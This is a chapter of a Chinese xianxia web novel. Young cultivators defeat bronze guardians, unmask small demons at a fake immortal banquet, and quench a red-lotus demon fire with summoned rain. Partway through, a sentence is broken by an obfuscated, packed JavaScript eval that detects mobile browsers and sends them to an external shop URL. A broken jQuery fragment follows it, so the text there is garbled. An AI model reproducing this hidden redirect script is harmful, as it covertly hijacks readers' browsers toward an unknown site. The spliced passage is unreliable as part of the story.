13. 布雨
    游溪愣了一下,回头看他。

    荆饮月道:“之前布过的阵,再来一次。”

    游溪:“可是……”

    她担心荆饮月的伤,“不如想办法唤醒他们。”

    可荆师兄眼神里明明白白写着,比起这些人,他更相信自己。

    游溪刚布下聚灵阵,三只青铜兽已经走到了场中,同时抬起手,射出了六道灵气激光束。

    游溪退到角落躲避,她发现了问题,他们会躲,场中的三个人不会躲啊!他们还沉浸在自己的美梦里,根本不知道危险。

    好险第一轮扫射对准了他们两,三人躲过一劫。

    荆饮月知道自己拖不起,必须速战速决,剑气一纵,砍在其中一只青铜兽首上,铜制外壳上亮起一层灵光护盾。

    护盾反震瞬间,他唇角鲜血瞬间溢出。他眉心一皱,反而更用力的斩了下去!

    这一剑,带着无与伦比的决心,斩破了灵光盾,一剑削下兽首!

    那只青铜兽发出一阵机关结构噼里啪啦爆破的声响,停止了移动和瞄准,装在手臂上的灵光炮漫无目标的乱射起来。

    看来要它完全停下来,必须要彻底把它拆解了。

    但它乱扫的过程中,毫无防备的三人被扫得嗷嗷叫,游溪看不下去了,喊道:“云师姐,这些天机院的狗在咬你,你快把他们砍死啊!”

    云芜双眼更红了,对着青铜兽就冲了过去:“老娘砍死你们!”

    又对花任酒道:“花师兄,你刚补好的衣服又被弄坏了,你不生气吗?”

    花师兄也红温了,掏出了一把爆破符纸,炸得石室之内噼啪作响。

    荆饮月愕然看着这一幕。这两人跟吃了火药一样,忽然爆种了,他的压力顿时减轻了不少。

    游溪冲他扬了扬眉,挑唇笑:她厉害吧?

    荆饮月心中那没来由的杂念又升上来了,他强行压制下去,将心中的烦乱全都发泄在青铜兽身上,将一只铜兽砍得七零八落,脸色更白了几分。

    游溪眼神担忧:荆师兄怎么比疯了的师兄师姐看起来更狠,他没事吧?

    ……

    当三只青铜兽都被击败,石室封闭的一侧大门开启,一股柔和的清风从外面吹进来,岁舍如梦方醒,看了看四周,失落道:“我的千万灵石呢?我的两百个仆人和三千坛美酒呢?”

    云芜忍不住嘲笑他:“梦里什么都有。”

    花任酒怨念道:“云师妹,我都不知道你对我怨气这么大,为了当上大师姐,竟然想杀了我。”

    云芜难得不好意思:“你知道我这人脾气爆,被那心魔声音影响了,我不知真想杀你的。”

    她扯了扯自己的被灵气激光射得破破烂烂的衣摆,“你看,你给我绣的花这么好看,我很喜欢的。”

    看在她说这话的份上,花任酒勉强表示原谅她了。

    岁舍小声跟荆饮月说:“怎么感觉他们两比我还抽象呢?”

    荆饮月冷睨了他一眼。

    “几位仙君,是来参加宴会的吗?”正说话,一群穿着仙衣华服的仙人,乘着云飘了过来。

    “什么宴会?”

    几人打量着这群不知从哪冒出来的仙人,再看周围环境,走出石室,他们竟然来到了一处仙境一般的地方,一层层云雾涌动,仙宫琼殿在云雾中若隐若现,灵光簇拥,瑞气千条。

    附近有一座高耸的牌楼,上面写着三个大字“南天门”。

    岁舍傻眼了:“师兄,咱们这是、这是到仙界了?”

    荆饮月:“你说呢?”

    岁舍:“虽然有点不信,可万一是真的呢?那位前辈送咱们的机缘,把咱们送到仙界来了?”

    荆师兄忍不住轻嗤一声。

    仙人们围了上来,和蔼道,“几位可是玉山来的仙友?云仙子、花仙君、岁仙君、荆仙君和游仙子?”

    “仙宴马上就要开始了,快随我们来吧。”

    说着,迫不及待走在前方引路,还招呼他们,“快来呀。”

    几人面面相觑。

    云芜跃跃欲试,她从未吃过仙宴,这辈子吃过最好的一顿是玉山宗主寿宴,席上的灵食珍馐让她记了几十年,仙宴得是什么滋味啊?

    花任酒道:“这可能是个陷阱,可是他叫我‘花仙君’诶。我觉得,咱们得去。”

    游溪:……

    花师兄你就这点追求吗?

    一行人跟了上去,进了一座气派的仙殿,一阵阵食物飘香,只见满盘珍馐,仙饮佳酿,金浆玉液,叫人不禁直吞口水。

    仙人们引着几人入座,“各位仙友,难得招待,尽管吃、尽管吃。”

    这仙宴排开好几列,中间空出宽阔的场地,说话间,一个蒙着白纱、穿着雪白衣裙的仙女走上中心的圆台,翩翩起舞,舞姿曼妙。

    席上的仙人们纷纷赞叹:“好!”

    “不亏是蓝湖仙女,舞姿果然一绝。”

    “诸位,为仙女一舞,我们干一杯。”

    众仙人纷纷举杯,岁舍喝了一口酒,赞叹果然是仙酿,又往嘴里塞了一口菜。

    一旁荆饮月连筷子都没动过,他咽下一口,小声问:“师兄,你怎么不吃?快尝一口,可好吃了!”

    荆饮月颇有深意看了他一眼。

    “怎么了?”岁舍问,“莫非这些吃的问题?”

    他知道师兄的眼睛跟常人不同,夹起一筷子仙兽肉问,“这是什么?”

    “老鼠肉。”

    岁舍:!!

    “这个呢?”他指向那一盘晶莹剔透的炖粉丝。

    “头发。”

    “呕——”

    一想到自己刚才吃了两口,他就忍不住吐了,颤抖着手指向台上跳舞的仙子,“那想必也不是什么仙女了?!”

    荆饮月瞟了一眼,淡淡道,“一只搔首弄姿的公狐狸罢了。”

    “靠!”

    岁舍忍不住了,掀翻饭桌,拔剑而起:“竟敢戏弄老子,我杀了你们这群妖物!”

    他所使的是一把软剑,剑法颇为不俗,疾走如蛇,配合他灵活的身形,纷纷剑影杀得一众“仙人”四下奔逃,接连现出原形。

    花、云两人也怒了,“妖物,竟敢戏弄我们!”

    花师兄掏出一块巴掌大的阵盘,腾空而起,阵盘上飞出数面小旗,旗子插下,结成一道困阵,他手上掐诀,动作奇快:“五方八卦,听我号令!”

    乱成一团的妖物们被困在阵中,成了瓮中之鳖。

    云芜抄起一把大刀,冲进阵中狂砍,如入无人之境,将小妖们砍得七零八落。

    游溪抬头看着这一幕,她不喜欢宴会这种场合,人一多,再好吃的东西她吃得不是滋味,桌上吃的一口没动。

    这会儿倒也没有多生气,还能欣赏她师兄师姐打怪。

    花任酒和云芜是历代道藏院弟子中最能打的两个,都是人阶七境,平时看着不着调,认真起来也是像模像样的。她会的符术阵法,也有一些是师兄师姐所教。

    眼前现出原形的妖族,都是一些鸡妖、兔妖、羊妖之类,她不禁问,“这难道也是洞府主人设下的考验吗?”

    荆饮月道:“不像。”

    这洞府主人行事有自己的一套规则,有奖有惩,这群小妖更像是偷偷混进洞府中,得了洞中精纯灵气才能修成人形,这些乱石山的本地妖,都不是很厉害,伪装后在此诓骗进来的修士。

    说话间,岁舍已经揪住了那只三尾狐狸的尾巴,将之打得哀嚎连连。

    “叫你骗老子!叫你装仙女!谁给你们的胆子,让你们在这装神弄鬼的?!”

    “饶命,道长饶命啊!”狐狸哀求,“我们、我们也是受人逼迫的!”

    “谁?”

    “是、是一个人族修士。”狐狸道,“他命我们在此哄骗进来的修士,那些人都被他骗去做了他修炼的炉鼎,不是我们想害人啊!”

    “狐狸狡诈多端,先把它打死不冤!”云芜挽起袖子,“我来!”

    “仙女饶命!”狐狸吓得三条尾巴都在抖,嘤嘤道,“只要你们放我一马,我愿意给你们指路,带你们去找那修士。”

    它一双狭长眼睛滴溜溜直转,“那修士这些年不知得了多少宝贝,若能除掉他,那些宝物便能尽归你们所有了!”

    荆饮月道:“带路。”

    狐狸赶紧擦了擦眼泪,上前带路。周围的景色恢复了原样,云雾散去,仙殿消失,不过是些跟乱石山相似的花花草草罢了。

    走过一段坑坑洼洼的土路,隐约可见一座青瓦白墙的房子坐落在道路尽头,狐狸道:“那修士就住在前面,我们平时都不敢靠近,我只能领你们到这里了。”

    “对了,那修士叫做陈道人,他白天比晚上要弱一些。”狐狸道,“你们若想对付他,千万别等到夜里。”

    说着,狐狸一溜烟跑了。

    云芜道:“你们怎么看?”

    花任酒道:“妖物的话不可信,怕是刚出陷阱,又踏入另一个陷阱,我们不能贸然行动。”

    小院掩映在绿树桃花之下,看起来安宁平和,可身处这诡异的洞府中,哪怕平凡的小院也给人一种

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067149|149320||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    深不可测的感觉。

    “没听狐狸说吗?那陈道人晚上会更厉害。”岁舍撸起袖子,“咱们这么多人,难道还怕他一个?”

    “狐妖说不定故意说反话。”花任酒道,“我从没听说过什么功法,会让人夜里更厉害,除非这陈道人是妖非人。”

    “两位师妹觉得呢?”

    “我只想砍人。”云芜自进入洞府起,就有种被玩弄的暴躁感,“早进晚进不是进?不如一起冲进去砍死他。”

    “……”

    “我想……”游溪小声说,“陈道人有没有可能是个好人?”

    “嗯?”

    “这些小妖只是表面畏惧他。”游溪想了想,“如果他真像狐妖说的这样丧心病狂,完全可以用更严酷的手段控制他们。”

    而不是像现在这样,狐妖随随便便就出卖了他,甚至还知道他的弱点。

    “有道理。”花任酒道,“荆……师弟如何看?”

    这声荆师弟叫出来,他还有些犯怵。那日埋伏他时,他特意让弟子们都换上别院的衣服,他应该不知道是他们干的吧?

    荆饮月道:“我同意游溪的想法。”

    突然被点名,游溪还有些不好意思。

    他又道:“可否用符咒之术,窥探院中情形?”

    花任酒道:“我尽力一试。”

    小院卧房之内,布置干净整洁,窗明几净。

    一个穿着朴素道袍的道人在蒲团上打坐,他面容清癯,闭目凝神,桌案上香炉袅袅燃着,墙上挂着一张水墨画,画着澄澈湖水,莲叶青碧,湖水盛开着净莲朵朵。

    透过花任酒手中的窥视符,众人观察着房间内的情形。陈道人一直静坐,连眼皮都没动一下,周身清气缭绕。

    “看起来没什么异常。”

    “再等等。”

    这一观察,就看到了暮色四合,夕阳西下时分。

    静坐的陈道人眉心忽然窜出一缕黑气,他的表情骤然变得痛苦扭曲,对着虚空道,“这么久了,你还是不肯放过我吗?”

    不知哪来的一阵风,吹得炉香倾斜,画轴哗哗作响。

    陈道人双手抱住头,喊道,“就算你再怎么篡改我的记忆,我也不会变成他!”

    “他在跟谁说话?”云芜问。

    “难道……房里有鬼?”岁舍道。

    “——画有问题!”几乎同时,荆游二人异口同声开口。

    话音落,只见黑气窜入画中,画上的纯白莲花变成了怒火红莲,红莲开处,火光大作。

    不止是画轴内、小院里、整个洞府之中,红莲无处不在,到处起了大火,连天空都变成了一片红色。

    冲天火光中,一道充满怨气的声音响起:“青虚,既然你不肯接受我,那就和我一起化为灰烬!”

    红莲妖火非比寻常,转眼就将整座洞府化为一片火海。

    “咳咳咳。”众人被四起的烟雾呛得连声咳嗽,“不行,这样下去,我们都会死!得想办法灭火!”

    “这妖火不是寻常的水能浇灭。”花任酒捂住口鼻,嗡声道:“我们之中,只有小师妹是单水灵根。”

    几人齐刷刷看向游溪,这种时候,两个剑修都只能干瞪眼,派不上用场。

    “可是——”

    游溪还没说完,花任酒和云芜同时抬手掐诀,灵气化为一朵白云,将游溪托起,升上了空中,“小师妹,靠你了!”

    游溪差点腿一软跪在云上,她虽然是水灵根,但她并不会控水啊!不会以为把她送到天上,她就会下雨吧?!

    站在灵气云上,下方的情况看得更加清楚,惊人的火势还在蔓延,他们四人被大火包围,周围已经无路逃生。

    师兄和师姐真的把求生的希望寄托在她身上了!怎么办?

    游溪捏了一把汗,脑海中忽然响起一道陌生的声音:“小溪,我们一族生于江海之间,与水亲近,天生有控水之能,你只需记得……”

    一串咒语浮现脑海,好像她真的天生就记得一样,她想不起说话的人是谁,却自然能念动咒语,招来乌云笼罩,雷霆震动,灵雨降下。

    游溪青碧色的衣裙漂浮在云层间,挥洒自如的模样,如同云中仙子,飘渺轻灵,带着一股圣洁气息。

    “游师妹竟然这么厉害!”岁舍抹了把被雨淋湿的脸,感叹道,“师兄,你说她是怎么办到的?”

    荆饮月注视着天上的倩影,心知这应该是蛇妖的血脉之能。

    然而此时此刻,他想的竟然是——如果游溪这时候不小心露出尾巴,该怎么帮她遮住?